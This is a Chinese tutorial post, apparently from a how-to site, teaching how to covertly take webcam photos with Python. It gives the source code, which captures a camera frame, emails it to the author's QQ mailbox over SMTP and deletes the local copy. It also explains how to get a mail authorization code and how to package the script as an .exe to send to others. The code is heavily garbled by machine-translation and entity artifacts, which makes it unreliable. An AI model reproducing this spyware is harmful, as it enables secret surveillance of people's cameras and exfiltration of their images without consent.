介绍
利用python怎么对摄像头的照片进行窃取?很多新手对此不是很清楚,为了帮助大家解决这个难题,下面小编将为大家详细讲解,有这方面需求的人可以来学习下,希望你能有所收获。
python窃取摄像头照片源码+获取授权码方法+ py打包成exe
pip install opencv-python 小姐;https://pypi.tuna.tsinghua.edu.cn/simple/
具体的代码以及相应的注释如下,你只需要更改收件人和发件人为自己的邮箱,更改授权码,再编译成可执行文件,即把py打包成. exe,这样就可以发给别人用啦。
import os ,,,,,,,,,,,,,,,,,,, #,删除图片文件 import cv2 ,,,,,,,,,,,,,,,,,, #,调用摄像头拍摄照片 得到smtplib import  SMTP_SSL ,,,,,,,,, #, SSL加密的,,传输协议 得到email.mime.text import  MIMEText ,,,,, #,构建邮件文本 得到email.mime.multipart import  MIMEMultipart #,构建邮件体 得到email.header import  Header ,,,,,,,, #,发送内容 #,调用摄像头拍摄照片 def get_photo (): 时间=cap 才能;cv2.VideoCapture(0),,,,,, #,开启摄像头 ,,f, frame =, cap.read(),,,,,,,, #,将摄像头中的一帧图片数据保存 cv2.imwrite才能(& # 39;image.jpg& # 39;,,),,, #,将图片保存为本地文件 cap.release才能(),,,,,,,,,,,,#,关闭摄像头 #,把图片文件发送到我的邮箱 def send_message (): #,才能选择QQ邮箱发送照片 时间=host_server 才能;& # 39;smtp.qq.com& # 39;,,,,, #, QQ邮箱smtp服务器 时间=pwd 才能;& # 39;* * * * * * * * * * * * * * * * & # 39;,,,,,,#,授权码 时间=from_qq_mail 才能;& # 39;QQ@qq.com& # 39;,,,,, #,发件的人 时间=to_qq_mail 才能;& # 39;QQ@qq.com& # 39;,,,,,, #,收件的人 时间=msg 才能;MIMEMultipart(),,,,,,,, #,创建一封带附件的邮件 味精才能[& # 39;主题# 39;],=,头(& # 39;摄像头照片& # 39;,,& # 39;utf - 8 # 39;),, #,消息主题 味精才能[& # 39;从# 39;],=,from_qq_mail ,,,,,,,,,,, #,发件的人 味精才能[& # 39;使# 39;],=,标题(“YH", & # 39; utf - 8 # 39;),,,,,,,, #,收件的人 msg.attach才能(MIMEText(“照片,,,& # 39;html # 39;,, & # 39; utf - 8 # 39;)),, #,添加邮件文本信息 #,才能加载附件到邮箱中,SSL 方式,,加密 image 才能=,MIMEText(开放(& # 39;image.jpg& # 39;,, & # 39; rb # 39;) .read (), & # 39; base64 # 39;,, & # 39; utf - 8 # 39;) 图像才能[“Content-Type"],=, & # 39;图像/jpeg # 39;,, #,附件格式为图片的加密数据 msg.attach才能(图片),,,,,,,,,,,#,附件添加 #,才能开始发送邮件 时间=smtp 才能;SMTP_SSL (host_server),,,,,, #,链接服务器 smtp 才能.login (from_qq_mail, pwd),,,,, #,登录邮箱 smtp.sendmail才能(from_qq_mail, to_qq_mail,, msg.as_string()), #,发送邮箱 smtp.quit才能(),,,#,退出 if __name__ ==, & # 39; __main__ # 39;: get_photo才能(),,,,,,,,,#,开启摄像头获取照片 ,,send_message(),,,,,,, #,发送照片 os.remove才能(& # 39;image.jpg& # 39;),,, #,删除本地照片
获取授权码的方法:设置→账户→开启pop3和smtp服务→验证密保,即可获取到16位授权码。
pyinstaller ——console ——onefile 7. py //这里打包的是一个叫7。null